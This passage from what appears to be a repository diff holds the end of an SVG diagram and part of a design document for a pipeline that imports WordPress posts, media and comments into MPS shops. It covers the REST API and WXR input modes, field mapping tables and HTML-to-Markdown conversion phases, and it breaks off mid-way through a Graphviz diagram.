<text text-anchor="middle" x="317" y="-1065" font-family="monospace" font-size="10.00">(offline file)</text>
<text text-anchor="middle" x="317" y="-1054" font-family="monospace" font-size="10.00">Tools &gt; Export</text>
</g>
<!-- wxr_parser -->
<g id="node4" class="node">
<title>wxr_parser</title>
<path fill="#e8eaf6" stroke="black" d="M385.5,-989C385.5,-989 266.5,-989 266.5,-989 260.5,-989 254.5,-983 254.5,-977 254.5,-977 254.5,-960 254.5,-960 254.5,-954 260.5,-948 266.5,-948 266.5,-948 385.5,-948 385.5,-948 391.5,-948 397.5,-954 397.5,-960 397.5,-960 397.5,-977 397.5,-977 397.5,-983 391.5,-989 385.5,-989"/>
<text text-anchor="middle" x="326" y="-977" font-family="monospace" font-size="10.00">WXR Parser</text>
<text text-anchor="middle" x="326" y="-966" font-family="monospace" font-size="10.00">xml.etree.ElementTree</text>
<text text-anchor="middle" x="326" y="-955" font-family="monospace" font-size="10.00">namespace&#45;aware</text>
</g>
<!-- wxr_file&#45;&gt;wxr_parser -->
<g id="edge2" class="edge">
<title>wxr_file&#45;&gt;wxr_parser</title>
<path fill="none" stroke="black" d="M318.82,-1046.87C320.09,-1033.2 321.81,-1014.71 323.24,-999.24"/>
<polygon fill="black" stroke="black" points="326.74,-999.38 324.18,-989.1 319.77,-998.73 326.74,-999.38"/>
</g>
<!-- normalize -->
<g id="node5" class="node">
<title>normalize</title>
<path fill="#e8eaf6" stroke="black" d="M301.5,-911C301.5,-911 182.5,-911 182.5,-911 176.5,-911 170.5,-905 170.5,-899 170.5,-899 170.5,-871 170.5,-871 170.5,-865 176.5,-859 182.5,-859 182.5,-859 301.5,-859 301.5,-859 307.5,-859 313.5,-865 313.5,-871 313.5,-871 313.5,-899 313.5,-899 313.5,-905 307.5,-911 301.5,-911"/>
<text text-anchor="middle" x="242" y="-899" font-family="monospace" font-size="10.00">Normalize</text>
<text text-anchor="middle" x="242" y="-888" font-family="monospace" font-size="10.00">Unified post dict</text>
<text text-anchor="middle" x="242" y="-877" font-family="monospace" font-size="10.00">(title, html, date,</text>
<text text-anchor="middle" x="242" y="-866" font-family="monospace" font-size="10.00">media_urls, comments)</text>
</g>
<!-- api_parser&#45;&gt;normalize -->
<g id="edge3" class="edge">
<title>api_parser&#45;&gt;normalize</title>
<path fill="none" stroke="black" d="M183.64,-947.77C191.94,-938.99 201.93,-928.41 211.29,-918.51"/>
<polygon fill="black" stroke="black" points="213.96,-920.78 218.28,-911.11 208.87,-915.97 213.96,-920.78"/>
</g>
<!-- wxr_parser&#45;&gt;normalize -->
<g id="edge4" class="edge">
<title>wxr_parser&#45;&gt;normalize</title>
<path fill="none" stroke="black" d="M305.67,-947.77C296.52,-938.9 285.49,-928.2 275.2,-918.21"/>
<polygon fill="black" stroke="black" points="277.49,-915.56 267.88,-911.11 272.62,-920.58 277.49,-915.56"/>
</g>
<!-- preprocess -->
<g id="node6" class="node">
<title>preprocess</title>
<path fill="#e8f5e9" stroke="black" d="M195.5,-801C195.5,-801 46.5,-801 46.5,-801 40.5,-801 34.5,-795 34.5,-789 34.5,-789 34.5,-739 34.5,-739 34.5,-733 40.5,-727 46.5,-727 46.5,-727 195.5,-727 195.5,-727 201.5,-727 207.5,-733 207.5,-739 207.5,-739 207.5,-789 207.5,-789 207.5,-795 201.5,-801 195.5,-801"/>
<text text-anchor="middle" x="121" y="-789" font-family="monospace" font-size="10.00">Phase 1: Pre&#45;process</text>
<text text-anchor="middle" x="121" y="-778" font-family="monospace" font-size="10.00">BeautifulSoup</text>
<text text-anchor="middle" x="121" y="-767" font-family="monospace" font-size="10.00">&#45; strip Gutenberg comments</text>
<text text-anchor="middle" x="121" y="-756" font-family="monospace" font-size="10.00">&#45; strip shortcodes</text>
<text text-anchor="middle" x="121" y="-745" font-family="monospace" font-size="10.00">&#45; strip srcset/sizes</text>
<text text-anchor="middle" x="121" y="-734" font-family="monospace" font-size="10.00">&#45; strip WP classes</text>
</g>
<!-- normalize&#45;&gt;preprocess -->
<g id="edge5" class="edge">
<title>normalize&#45;&gt;preprocess</title>
<path fill="none" stroke="black" d="M216.34,-858.76C201.41,-844.08 182.18,-825.17 164.91,-808.18"/>
<polygon fill="black" stroke="black" points="167.23,-805.55 157.64,-801.04 162.32,-810.54 167.23,-805.55"/>
</g>
<!-- upload_thumb -->
<g id="node11" class="node">
<title>upload_thumb</title>
<path fill="#fff8e1" stroke="black" d="M183.5,-342C183.5,-342 88.5,-342 88.5,-342 82.5,-342 76.5,-336 76.5,-330 76.5,-330 76.5,-302 76.5,-302 76.5,-296 82.5,-290 88.5,-290 88.5,-290 183.5,-290 183.5,-290 189.5,-290 195.5,-296 195.5,-302 195.5,-302 195.5,-330 195.5,-330 195.5,-336 189.5,-342 183.5,-342"/>
<text text-anchor="middle" x="136" y="-330" font-family="monospace" font-size="10.00">Upload Thumbnail</text>
<text text-anchor="middle" x="136" y="-319" font-family="monospace" font-size="10.00">put_object to S3</text>
<text text-anchor="middle" x="136" y="-308" font-family="monospace" font-size="10.00">set_file_metadata</text>
<text text-anchor="middle" x="136" y="-297" font-family="monospace" font-size="10.00">ACL=public&#45;read</text>
</g>
<!-- normalize&#45;&gt;upload_thumb -->
<g id="edge11" class="edge">
<title>normalize&#45;&gt;upload_thumb</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M242,-858.93C242,-834.84 242,-797.44 242,-765 242,-765 242,-765 242,-444 242,-421.5 202.27,-378.95 171.46,-349.33"/>
<polygon fill="black" stroke="black" points="173.51,-346.45 163.85,-342.1 168.69,-351.53 173.51,-346.45"/>
<text text-anchor="middle" x="266" y="-601.8" font-family="monospace" font-size="9.00">featured</text>
<text text-anchor="middle" x="266" y="-591.8" font-family="monospace" font-size="9.00">image URL</text>
</g>
<!-- create_comments -->
<g id="node12" class="node">
<title>create_comments</title>
<path fill="#fff8e1" stroke="black" d="M350.5,-336.5C350.5,-336.5 225.5,-336.5 225.5,-336.5 219.5,-336.5 213.5,-330.5 213.5,-324.5 213.5,-324.5 213.5,-307.5 213.5,-307.5 213.5,-301.5 219.5,-295.5 225.5,-295.5 225.5,-295.5 350.5,-295.5 350.5,-295.5 356.5,-295.5 362.5,-301.5 362.5,-307.5 362.5,-307.5 362.5,-324.5 362.5,-324.5 362.5,-330.5 356.5,-336.5 350.5,-336.5"/>
<text text-anchor="middle" x="288" y="-324.5" font-family="monospace" font-size="10.00">Create Comments</text>
<text text-anchor="middle" x="288" y="-313.5" font-family="monospace" font-size="10.00">threaded via parent_id</text>
<text text-anchor="middle" x="288" y="-302.5" font-family="monospace" font-size="10.00">markdown + sentiment</text>
</g>
<!-- normalize&#45;&gt;create_comments -->
<g id="edge10" class="edge">
<title>normalize&#45;&gt;create_comments</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M268.03,-858.7C288.3,-836.2 313,-801.33 313,-765 313,-765 313,-765 313,-444 313,-410.03 304.28,-371.89 297.14,-346.36"/>
<polygon fill="black" stroke="black" points="300.45,-345.2 294.31,-336.56 293.73,-347.14 300.45,-345.2"/>
<text text-anchor="middle" x="339.5" y="-601.8" font-family="monospace" font-size="9.00">comments</text>
<text text-anchor="middle" x="339.5" y="-591.8" font-family="monospace" font-size="9.00">(optional)</text>
</g>
<!-- images -->
<g id="node7" class="node">
<title>images</title>
<path fill="#e8f5e9" stroke="black" d="M189.5,-690C189.5,-690 52.5,-690 52.5,-690 46.5,-690 40.5,-684 40.5,-678 40.5,-678 40.5,-639 40.5,-639 40.5,-633 46.5,-627 52.5,-627 52.5,-627 189.5,-627 189.5,-627 195.5,-627 201.5,-633 201.5,-639 201.5,-639 201.5,-678 201.5,-678 201.5,-684 195.5,-690 189.5,-690"/>
<text text-anchor="middle" x="121" y="-678" font-family="monospace" font-size="10.00">Phase 2: Image Migration</text>
<text text-anchor="middle" x="121" y="-667" font-family="monospace" font-size="10.00">&#45; strip &#45;WxH suffixes</text>
<text text-anchor="middle" x="121" y="-656" font-family="monospace" font-size="10.00">&#45; download originals</text>
<text text-anchor="middle" x="121" y="-645" font-family="monospace" font-size="10.00">&#45; upload to S3</text>
<text text-anchor="middle" x="121" y="-634" font-family="monospace" font-size="10.00">&#45; rewrite URLs to CDN</text>
</g>
<!-- preprocess&#45;&gt;images -->
<g id="edge6" class="edge">
<title>preprocess&#45;&gt;images</title>
<path fill="none" stroke="black" d="M121,-726.8C121,-718.17 121,-708.9 121,-700.09"/>
<polygon fill="black" stroke="black" points="124.5,-700.02 121,-690.02 117.5,-700.02 124.5,-700.02"/>
</g>
<!-- markdown -->
<g id="node8" class="node">
<title>markdown</title>
<path fill="#e8f5e9" stroke="black" d="M190.5,-571C190.5,-571 65.5,-571 65.5,-571 59.5,-571 53.5,-565 53.5,-559 53.5,-559 53.5,-520 53.5,-520 53.5,-514 59.5,-508 65.5,-508 65.5,-508 190.5,-508 190.5,-508 196.5,-508 202.5,-514 202.5,-520 202.5,-520 202.5,-559 202.5,-559 202.5,-565 196.5,-571 190.5,-571"/>
<text text-anchor="middle" x="128" y="-559" font-family="monospace" font-size="10.00">Phase 3: Markdown</text>
<text text-anchor="middle" x="128" y="-548" font-family="monospace" font-size="10.00">markdownify (MIT)</text>
<text text-anchor="middle" x="128" y="-537" font-family="monospace" font-size="10.00">&#45; custom WPConverter</text>
<text text-anchor="middle" x="128" y="-526" font-family="monospace" font-size="10.00">&#45; figures, code blocks</text>
<text text-anchor="middle" x="128" y="-515" font-family="monospace" font-size="10.00">&#45; ATX headings</text>
</g>
<!-- images&#45;&gt;markdown -->
<g id="edge7" class="edge">
<title>images&#45;&gt;markdown</title>
<path fill="none" stroke="black" d="M122.84,-626.76C123.68,-612.79 124.68,-596.06 125.57,-581.08"/>
<polygon fill="black" stroke="black" points="129.07,-581.23 126.17,-571.04 122.08,-580.81 129.07,-581.23"/>
</g>
<!-- s3 -->
<g id="node15" class="node">
<title>s3</title>
<path fill="#f5f5f5" stroke="black" d="M210.5,-135C210.5,-135 61.5,-135 61.5,-135 55.5,-135 49.5,-129 49.5,-123 49.5,-123 49.5,-106 49.5,-106 49.5,-100 55.5,-94 61.5,-94 61.5,-94 210.5,-94 210.5,-94 216.5,-94 222.5,-100 222.5,-106 222.5,-106 222.5,-123 222.5,-123 222.5,-129 216.5,-135 210.5,-135"/>
<text text-anchor="middle" x="136" y="-123" font-family="monospace" font-size="10.00">S3 / Spaces</text>
<text text-anchor="middle" x="136" y="-112" font-family="monospace" font-size="10.00">thumbnails + inline images</text>
<text text-anchor="middle" x="136" y="-101" font-family="monospace" font-size="10.00">BYOB&#45;aware</text>
</g>
<!-- images&#45;&gt;s3 -->
<g id="edge15" class="edge">
<title>images&#45;&gt;s3</title>
<path fill="none" stroke="black" d="M75.62,-626.97C50.38,-606.03 24,-575.72 24,-540.5 24,-540.5 24,-540.5 24,-212.5 24,-180 51.27,-155.96 78.9,-139.94"/>
<polygon fill="black" stroke="black" points="80.78,-142.9 87.85,-135.02 77.4,-136.77 80.78,-142.9"/>
<text text-anchor="middle" x="40" y="-393.8" font-family="monospace" font-size="9.00">inline</text>
<text text-anchor="middle" x="40" y="-383.8" font-family="monospace" font-size="9.00">images</text>
</g>
<!-- postprocess -->
<g id="node9" class="node">
<title>postprocess</title>
<path fill="#e8f5e9" stroke="black" d="M195.5,-471C195.5,-471 64.5,-471 64.5,-471 58.5,-471 52.5,-465 52.5,-459 52.5,-459 52.5,-431 52.5,-431 52.5,-425 58.5,-419 64.5,-419 64.5,-419 195.5,-419 195.5,-419 201.5,-419 207.5,-425 207.5,-431 207.5,-431 207.5,-459 207.5,-459 207.5,-465 201.5,-471 195.5,-471"/>
<text text-anchor="middle" x="130" y="-459" font-family="monospace" font-size="10.00">Phase 4: Post&#45;process</text>
<text text-anchor="middle" x="130" y="-448" font-family="monospace" font-size="10.00">&#45; collapse blank lines</text>
<text text-anchor="middle" x="130" y="-437" font-family="monospace" font-size="10.00">&#45; prepend metadata</text>
<text text-anchor="middle" x="130" y="-426" font-family="monospace" font-size="10.00">&#45; flag unconverted HTML</text>
</g>
<!-- markdown&#45;&gt;postprocess -->
<g id="edge8" class="edge">
<title>markdown&#45;&gt;postprocess</title>
<path fill="none" stroke="black" d="M128.66,-507.96C128.84,-499.5 129.04,-490.25 129.23,-481.54"/>
<polygon fill="black" stroke="black" points="132.74,-481.34 129.45,-471.27 125.74,-481.19 132.74,-481.34"/>
</g>
<!-- create_product -->
<g id="node10" class="node">
<title>create_product</title>
<path fill="#fff8e1" stroke="black" d="M523.5,-342C523.5,-342 392.5,-342 392.5,-342 386.5,-342 380.5,-336 380.5,-330 380.5,-330 380.5,-302 380.5,-302 380.5,-296 386.5,-290 392.5,-290 392.5,-290 523.5,-290 523.5,-290 529.5,-290 535.5,-296 535.5,-302 535.5,-302 535.5,-330 535.5,-330 535.5,-336 529.5,-342 523.5,-342"/>
<text text-anchor="middle" x="458" y="-330" font-family="monospace" font-size="10.00">Create Product</text>
<text text-anchor="middle" x="458" y="-319" font-family="monospace" font-size="10.00">is_sellable=False</text>
<text text-anchor="middle" x="458" y="-308" font-family="monospace" font-size="10.00">set title, description,</text>
<text text-anchor="middle" x="458" y="-297" font-family="monospace" font-size="10.00">timestamps, visibility</text>
</g>
<!-- postprocess&#45;&gt;create_product -->
<g id="edge9" class="edge">
<title>postprocess&#45;&gt;create_product</title>
<path fill="none" stroke="black" d="M207.55,-427.37C256.08,-415.49 319.2,-397.3 372,-373 387,-366.1 402.42,-356.85 415.98,-347.86"/>
<polygon fill="black" stroke="black" points="418.28,-350.53 424.6,-342.02 414.35,-344.73 418.28,-350.53"/>
</g>
<!-- reforge -->
<g id="node13" class="node">
<title>reforge</title>
<path fill="#fff8e1" stroke="black" d="M444.5,-234C444.5,-234 301.5,-234 301.5,-234 295.5,-234 289.5,-228 289.5,-222 289.5,-222 289.5,-205 289.5,-205 289.5,-199 295.5,-193 301.5,-193 301.5,-193 444.5,-193 444.5,-193 450.5,-193 456.5,-199 456.5,-205 456.5,-205 456.5,-222 456.5,-222 456.5,-228 450.5,-234 444.5,-234"/>
<text text-anchor="middle" x="373" y="-222" font-family="monospace" font-size="10.00">Reforge Discovery Ring</text>
<text text-anchor="middle" x="373" y="-211" font-family="monospace" font-size="10.00">Jaccard similarity</text>
<text text-anchor="middle" x="373" y="-200" font-family="monospace" font-size="10.00">nearest&#45;neighbor ordering</text>
</g>
<!-- create_product&#45;&gt;reforge -->
<g id="edge17" class="edge">
<title>create_product&#45;&gt;reforge</title>
<path fill="none" stroke="black" d="M436.77,-289.9C424.49,-275.38 409.02,-257.08 396.39,-242.15"/>
<polygon fill="black" stroke="black" points="398.83,-239.62 389.7,-234.25 393.49,-244.14 398.83,-239.62"/>
<text text-anchor="middle" x="444" y="-264.8" font-family="monospace" font-size="9.00">after all</text>
<text text-anchor="middle" x="444" y="-254.8" font-family="monospace" font-size="9.00">products</text>
</g>
<!-- sqlite -->
<g id="node14" class="node">
<title>sqlite</title>
<path fill="#f5f5f5" stroke="black" d="M359.5,-132.5C359.5,-132.5 252.5,-132.5 252.5,-132.5 246.5,-132.5 240.5,-126.5 240.5,-120.5 240.5,-120.5 240.5,-108.5 240.5,-108.5 240.5,-102.5 246.5,-96.5 252.5,-96.5 252.5,-96.5 359.5,-96.5 359.5,-96.5 365.5,-96.5 371.5,-102.5 371.5,-108.5 371.5,-108.5 371.5,-120.5 371.5,-120.5 371.5,-126.5 365.5,-132.5 359.5,-132.5"/>
<text text-anchor="middle" x="306" y="-117.5" font-family="monospace" font-size="10.00">SQLite</text>
<text text-anchor="middle" x="306" y="-106.5" font-family="monospace" font-size="10.00">products + comments</text>
</g>
<!-- create_product&#45;&gt;sqlite -->
<g id="edge12" class="edge">
<title>create_product&#45;&gt;sqlite</title>
<path fill="none" stroke="black" d="M468.16,-289.75C477.7,-261.56 487.58,-215.85 466,-185 446.34,-156.89 412.75,-140.04 381.4,-130"/>
<polygon fill="black" stroke="black" points="382.35,-126.63 371.77,-127.1 380.33,-133.34 382.35,-126.63"/>
</g>
<!-- upload_thumb&#45;&gt;s3 -->
<g id="edge14" class="edge">
<title>upload_thumb&#45;&gt;s3</title>
<path fill="none" stroke="black" d="M136,-289.73C136,-252.85 136,-184.41 136,-145.18"/>
<polygon fill="black" stroke="black" points="139.5,-145.17 136,-135.17 132.5,-145.17 139.5,-145.17"/>
</g>
<!-- create_comments&#45;&gt;sqlite -->
<g id="edge13" class="edge">
<title>create_comments&#45;&gt;sqlite</title>
<path fill="none" stroke="black" d="M284.23,-295.46C279.91,-269.88 274.24,-223.74 281,-185 283.54,-170.45 288.85,-154.92 293.93,-142.24"/>
<polygon fill="black" stroke="black" points="297.27,-143.33 297.9,-132.75 290.81,-140.63 297.27,-143.33"/>
</g>
<!-- reforge&#45;&gt;sqlite -->
<g id="edge18" class="edge">
<title>reforge&#45;&gt;sqlite</title>
<path fill="none" stroke="black" d="M359.44,-192.87C349.12,-177.92 334.82,-157.23 323.61,-141"/>
<polygon fill="black" stroke="black" points="326.31,-138.75 317.75,-132.51 320.55,-142.72 326.31,-138.75"/>
</g>
<!-- cdn -->
<g id="node16" class="node">
<title>cdn</title>
<path fill="#f5f5f5" stroke="black" d="M177.5,-57C177.5,-57 94.5,-57 94.5,-57 88.5,-57 82.5,-51 82.5,-45 82.5,-45 82.5,-28 82.5,-28 82.5,-22 88.5,-16 94.5,-16 94.5,-16 177.5,-16 177.5,-16 183.5,-16 189.5,-22 189.5,-28 189.5,-28 189.5,-45 189.5,-45 189.5,-51 183.5,-57 177.5,-57"/>
<text text-anchor="middle" x="136" y="-45" font-family="monospace" font-size="10.00">CDN</text>
<text text-anchor="middle" x="136" y="-34" font-family="monospace" font-size="10.00">public URLs</text>
<text text-anchor="middle" x="136" y="-23" font-family="monospace" font-size="10.00">?ts= cache bust</text>
</g>
<!-- s3&#45;&gt;cdn -->
<g id="edge16" class="edge">
<title>s3&#45;&gt;cdn</title>
<path fill="none" stroke="black" d="M136,-93.93C136,-85.77 136,-76.12 136,-67.13"/>
<polygon fill="black" stroke="black" points="139.5,-67.01 136,-57.01 132.5,-67.01 139.5,-67.01"/>
</g>
</g>
</svg>
Side by side

After

Width:  |  Height:  |  Size: 21 KiB

514
docs/wordpress-import-pipeline.md Normal file
View file

@ -0,0 +1,514 @@
# WordPress Import Pipeline
Import WordPress sites into MPS shops. Converts posts/pages into MPS content
items (`is_sellable=False`), downloads and re-hosts media to S3, and optionally
imports threaded comments.
**Goal:** Make MPS a credible WordPress alternative. blog.makepostsell.com already
proves the content model works — this pipeline automates migration at scale.
## Architecture Overview
```dot
// Render: dot -Tsvg docs/wordpress-import-pipeline.dot -o docs/wordpress-import-pipeline.dot.svg
digraph wordpress_import {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_source {
label="WordPress Source";
style=dashed;
color="#ad5871";
rest_api [label="REST API\n/wp-json/wp/v2/*\n(live site, no auth)", fillcolor="#fce4ec"];
wxr_file [label="WXR XML Export\n(offline file)\nTools > Export", fillcolor="#fce4ec"];
}
subgraph cluster_parser {
label="Source Parser";
style=dashed;
color="#5871ad";
api_parser [label="REST API Client\nrequests + pagination\nper_page=100, ?_embed", fillcolor="#e8eaf6"];
wxr_parser [label="WXR Parser\nxml.etree.ElementTree\nnamespace-aware", fillcolor="#e8eaf6"];
normalize [label="Normalize\nUnified post dict\n(title, html, date,\nmedia_urls, comments)", fillcolor="#e8eaf6"];
}
subgraph cluster_convert {
label="HTML Conversion Pipeline";
style=dashed;
color="#58ad71";
preprocess [label="Phase 1: Pre-process\nBeautifulSoup\n- strip Gutenberg comments\n- strip shortcodes\n- strip srcset/sizes\n- strip WP classes", fillcolor="#e8f5e9"];
images [label="Phase 2: Image Migration\n- strip -WxH suffixes\n- download originals\n- upload to S3\n- rewrite URLs to CDN", fillcolor="#e8f5e9"];
markdown [label="Phase 3: Markdown\nmarkdownify (MIT)\n- custom WPConverter\n- figures, code blocks\n- ATX headings", fillcolor="#e8f5e9"];
postprocess [label="Phase 4: Post-process\n- collapse blank lines\n- prepend metadata\n- flag unconverted HTML", fillcolor="#e8f5e9"];
}
subgraph cluster_mps {
label="MPS (Target)";
style=dashed;
color="#ad8f58";
create_product [label="Create Product\nis_sellable=False\nset title, description,\ntimestamps, visibility", fillcolor="#fff8e1"];
upload_thumb [label="Upload Thumbnail\nput_object to S3\nset_file_metadata\nACL=public-read", fillcolor="#fff8e1"];
create_comments [label="Create Comments\nthreaded via parent_id\nmarkdown + sentiment", fillcolor="#fff8e1"];
reforge [label="Reforge Discovery Ring\nJaccard similarity\nnearest-neighbor ordering", fillcolor="#fff8e1"];
}
subgraph cluster_storage {
label="Storage";
style=dashed;
color="#666666";
sqlite [label="SQLite\nproducts + comments", fillcolor="#f5f5f5"];
s3 [label="S3 / Spaces\nthumbnails + inline images\nBYOB-aware", fillcolor="#f5f5f5"];
cdn [label="CDN\npublic URLs\n?ts= cache bust", fillcolor="#f5f5f5"];
}
// Edges
rest_api -> api_parser;
wxr_file -> wxr_parser;
api_parser -> normalize;
wxr_parser -> normalize;
normalize -> preprocess;
preprocess -> images;
images -> markdown;
markdown -> postprocess;
postprocess -> create_product;
normalize -> create_comments [label="comments\n(optional)", style=dashed];
normalize -> upload_thumb [label="featured\nimage URL", style=dashed];
create_product -> sqlite;
create_comments -> sqlite;
upload_thumb -> s3;
images -> s3 [label="inline\nimages"];
s3 -> cdn;
create_product -> reforge [label="after all\nproducts"];
reforge -> sqlite;
}
```
![Architecture Diagram](wordpress-import-pipeline.dot.svg)
## Two Input Modes
### Mode 1: WP REST API (live site)
```bash
python -m make_post_sell.scripts.import_wordpress \
--source-url https://example.com \
--shop-id SHOP_UUID \
--config data/development.ini
```
Hits the public WordPress REST API. No authentication required for published
content. Uses `?_embed` to inline featured images and taxonomy terms, avoiding
N+1 requests.
**Pagination:** `per_page=100`, iterate pages until `page > X-WP-TotalPages`
header value. Configurable delay between requests (default 200ms) to respect
hosting rate limits.
**Endpoints consumed:**
| Endpoint | Purpose |
|----------|---------|
| `GET /wp-json/` | Discovery — confirm API is available |
| `GET /wp-json/wp/v2/posts?per_page=100&page=N&_embed` | All published posts |
| `GET /wp-json/wp/v2/pages?per_page=100&page=N&_embed` | All published pages |
| `GET /wp-json/wp/v2/media?per_page=100&page=N` | All media (for downloads) |
| `GET /wp-json/wp/v2/categories?per_page=100` | Category taxonomy |
| `GET /wp-json/wp/v2/tags?per_page=100` | Tag taxonomy |
| `GET /wp-json/wp/v2/comments?post=ID&per_page=100` | Comments per post |
| `GET /wp-json/wp/v2/users?per_page=100` | Author info (public fields) |
**Fallback:** If pretty permalinks are disabled, the API lives at
`/?rest_route=/wp/v2/posts` instead of `/wp-json/wp/v2/posts`. The discovery
step detects this.
**When REST API is unavailable:** Some sites disable it via security plugins
(Wordfence, Disable REST API). Detection: `GET /wp-json/` returns 404 or
`rest_disabled`. In this case, fall back to WXR mode or abort with instructions
to the user.
### Mode 2: WXR XML Export (offline file)
```bash
python -m make_post_sell.scripts.import_wordpress \
--wxr-file /path/to/export.xml \
--shop-id SHOP_UUID \
--config data/development.ini
```
Parses a WordPress eXtended RSS (WXR) export file. Works offline — no network
access to the source site needed (except for downloading media assets referenced
by URL in the export).
**How users generate WXR exports:**
- WordPress Admin: `Dashboard > Tools > Export > Download Export File`
- WP-CLI: `wp export --dir=/path/to/output/`
**WXR structure (RSS 2.0 + WordPress namespaces):**
```
<rss>
<channel>
<wp:author> — author definitions
<wp:category> — category hierarchy
<wp:tag> — flat tags
<wp:term> — custom taxonomies
<item> — posts, pages, attachments, nav items, CPTs
<title>
<content:encoded> — full HTML body (CDATA)
<excerpt:encoded> — excerpt (CDATA)
<wp:post_type> — "post", "page", "attachment", etc.
<wp:status> — "publish", "draft", "private", "trash"
<wp:post_date_gmt>
<wp:post_name> — URL slug
<wp:postmeta> — key/value metadata (featured image ID, etc.)
<wp:comment> — threaded comments (wp:comment_parent)
```
**XML parsing:** Use `xml.etree.ElementTree` for files under 50MB. For larger
exports (WP-CLI splits at 15MB by default), use `iterparse()` for streaming.
**Namespace handling:** WXR version affects namespace URIs (1.0, 1.1, 1.2).
Parse `wp:wxr_version` first, then set namespace dict accordingly.
**WXR gotchas:**
- Media files are NOT included — only URLs. Must download separately.
- `content:encoded` contains raw HTML with shortcodes and Gutenberg comments.
- Serialized PHP in `_wp_attachment_metadata` — use `phpserialize` to decode.
- WP-CLI exports may omit `_wp_attached_file` and `_wp_attachment_metadata`.
- May contain invalid UTF-8 or control characters — pre-clean before parsing.
- `wp:post_parent` links pages hierarchically (0 = top-level).
- Attachment items have `wp:attachment_url` with the source file URL.
## Content Mapping
### Posts & Pages → MPS Products (Content)
| WordPress | MPS Product | Notes |
|-----------|-------------|-------|
| `title` | `title` | Truncate to 256 chars |
| `content:encoded` / `content.rendered` | `description` (markdown) + `description_html` | See HTML conversion pipeline below |
| `excerpt:encoded` / `excerpt.rendered` | First line of `description` | Only if no excerpt, use first paragraph |
| `post_date_gmt` | `created_timestamp` | Convert to milliseconds |
| `modified_gmt` | `updated_timestamp` | Convert to milliseconds |
| `status=publish` | `visibility=1` (public) | |
| `status=draft` | `visibility=0` (private) | |
| `status=private` | `visibility=0` (private) | |
| `status=pending` | `visibility=0` (private) | |
| `featured_media` / `_thumbnail_id` | `thumbnail1` on S3 | Download + upload |
| Categories + tags | Metadata line in description | `**Categories:** Tech, Python` |
| `post_type=post` | `is_sellable=False` | Content item |
| `post_type=page` | `is_sellable=False` | Content item |
| `slug` | Used in `absolute_url()` | MPS auto-generates from title |
| `author` | Stored in description metadata | MPS has no per-product author field |
| `comment_status=open` | Comments enabled | Per-shop setting in MPS |
### Media/Attachments → S3
| WordPress | MPS S3 | Notes |
|-----------|--------|-------|
| Featured image | `{shop_id}/{product_id}/thumbnail1` | Download original (strip `-WxH` suffix) |
| Inline images in content | `{shop_id}/{product_id}/inline/{filename}` | Download, rewrite URLs in content |
| `wp-content/uploads/YYYY/MM/file.jpg` | Flat structure under product S3 path | |
| `srcset` / `sizes` attributes | Stripped | MPS serves single-resolution |
### Comments → MPS Comments
| WordPress | MPS Comment | Notes |
|-----------|-------------|-------|
| `comment_content` | `data` (markdown) + `data_html` | HTML→markdown conversion |
| `comment_date_gmt` | `created_timestamp` | Milliseconds |
| `comment_parent` | `parent_id` | 0 → null (top-level) |
| `comment_approved=1` | `approved=True` | |
| `comment_approved=0` | `approved=False` | |
| `comment_approved=spam/trash` | Skipped | |
| `comment_type=pingback/trackback` | Skipped | |
| `comment_author` | `data` attribution line | MPS comments require a user; attribute to shop owner |
## HTML Conversion Pipeline
WordPress content is HTML with WordPress-specific markup. Conversion to MPS
markdown happens in 4 phases:
```dot
// Render: dot -Tsvg docs/wordpress-import-html.dot -o docs/wordpress-import-html.dot.svg
digraph html_conversion {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=9];
edge [fontname="monospace", fontsize=8];
raw_html [label="Raw WordPress HTML\n\n<!-- wp:paragraph -->\n<p class=\"has-large-font-size\">\n[gallery ids=\"1,2,3\"]\n<img srcset=\"...\" />", fillcolor="#fce4ec", shape=note];
subgraph cluster_phase1 {
label="Phase 1: Pre-process (BeautifulSoup)";
style=dashed;
color="#5871ad";
strip_gutenberg [label="Strip Gutenberg\ncomments\n<!-- /?wp:\\S+.*?-->", fillcolor="#e8eaf6"];
strip_shortcodes [label="Strip shortcodes\n[vc_*] [et_pb_*]\n[fusion_*]\nkeep inner content", fillcolor="#e8eaf6"];
convert_embeds [label="Convert embeds\n[embed]URL[/embed]\n→ bare URL", fillcolor="#e8eaf6"];
convert_captions [label="Convert captions\n[caption] → <figure>", fillcolor="#e8eaf6"];
strip_srcset [label="Strip srcset/sizes\nStrip WP classes\nUnwrap empty divs", fillcolor="#e8eaf6"];
}
subgraph cluster_phase2 {
label="Phase 2: Image Migration";
style=dashed;
color="#58ad71";
find_imgs [label="Find all <img> src\nand background-image\nURLs", fillcolor="#e8f5e9"];
strip_suffix [label="Strip WP size suffix\n-300x200 → original\nphoto-1024x768.jpg\n→ photo.jpg", fillcolor="#e8f5e9"];
download [label="Download original\nfrom WP server\nrequests.get()\ntimeout=30s", fillcolor="#e8f5e9"];
upload_s3 [label="Upload to S3\n{shop_id}/{product_id}/\ninline/{filename}\nACL=public-read", fillcolor="#e8f5e9"];
rewrite [label="Rewrite src URLs\nold WP URL\n→ CDN URL", fillcolor="#e8f5e9"];
}
subgraph cluster_phase3 {
label="Phase 3: markdownify";
style=dashed;
color="#ad8f58";
converter [label="WPConverter\n(MarkdownConverter\nsubclass)", fillcolor="#fff8e1"];
figures [label="<figure> → ![alt](url)\n<figcaption> → caption", fillcolor="#fff8e1"];
code [label="<pre><code\nclass=\"language-*\">\n→ fenced code block", fillcolor="#fff8e1"];
headings [label="ATX headings (#)\nbody_width=0\nunicode_snob=True", fillcolor="#fff8e1"];
}
subgraph cluster_phase4 {
label="Phase 4: Post-process";
style=dashed;
color="#666666";
collapse [label="Collapse blank lines\n3+ newlines → 2", fillcolor="#f5f5f5"];
metadata [label="Prepend metadata\n**Categories:** ...\n**Tags:** ...\n**Author:** ...", fillcolor="#f5f5f5"];
flag [label="Flag posts with\nunconverted <html>\nfor manual review", fillcolor="#f5f5f5"];
}
output [label="MPS Content\n\nProduct.description\n(raw markdown)\n\nProduct.description_html\n(rendered HTML)", fillcolor="#e8f5e9", shape=note];
// Flow
raw_html -> strip_gutenberg;
strip_gutenberg -> strip_shortcodes;
strip_shortcodes -> convert_embeds;
convert_embeds -> convert_captions;
convert_captions -> strip_srcset;
strip_srcset -> find_imgs;
find_imgs -> strip_suffix;
